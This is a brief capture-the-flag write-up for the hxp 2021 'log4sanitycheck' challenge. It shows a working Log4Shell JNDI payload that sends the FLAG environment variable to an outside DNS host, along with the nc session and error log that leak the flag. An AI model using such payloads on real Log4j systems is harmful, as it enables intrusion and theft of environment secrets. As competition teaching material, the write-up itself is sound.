It can be seen from the Dockerfile that the `FLAG` environment variable contains the flag.
```dockerfileCMD ynetd -np y -lm -1 -lpid 64 -lt 10 -t 30 "FLAG='$(cat /flag.txt)' /home/ctf/run.sh"```
We can leak this with the following string:
```${jndi:dns://pwn.nandynarwhals.org/leak=${env:FLAG:-lol}}```
Using this payload leaks the flag in the error messages because the domain name ends up being toolong.
```consolenc 65.108.176.77 1337What is your favourite CTF?${jndi:dns://pwn.nandynarwhals.org/leak=${env:FLAG:-lol}}:(2021-12-19 21:15:06,116 main WARN Error looking up JNDI resource [dns://border.spro.ink/leak=hxp{Phew, I am glad I code everything in PHP anyhow :) - :( :( :(}]. javax.naming.InvalidNameException: Label exceeds 63 octets: leak=hxp{Phew, I am glad I code everything in PHP anyhow :) - :( :( :(}; remaining name 'leak=hxp{Phew, I am glad I code everything in PHP anyhow :) - :( :( :(}'	at jdk.naming.dns/com.sun.jndi.dns.DnsName.verifyLabel(DnsName.java:487)	at jdk.naming.dns/com.sun.jndi.dns.DnsName.add(DnsName.java:306)	at jdk.naming.dns/com.sun.jndi.dns.DnsName.parse(DnsName.java:446)	at jdk.naming.dns/com.sun.jndi.dns.DnsName.<init>(DnsName.java:135)	at jdk.naming.dns/com.sun.jndi.dns.DnsContext.fullyQualify(DnsContext.java:588)	at jdk.naming.dns/com.sun.jndi.dns.DnsContext.c_lookup(DnsContext.java:288)	at java.naming/com.sun.jndi.toolkit.ctx.ComponentContext.p_lookup(ComponentContext.java:542)    ...```
Full writeup here: [https://nandynarwhals.org/hxp-ctf-2021-log4sanitycheck/](https://nandynarwhals.org/hxp-ctf-2021-log4sanitycheck/)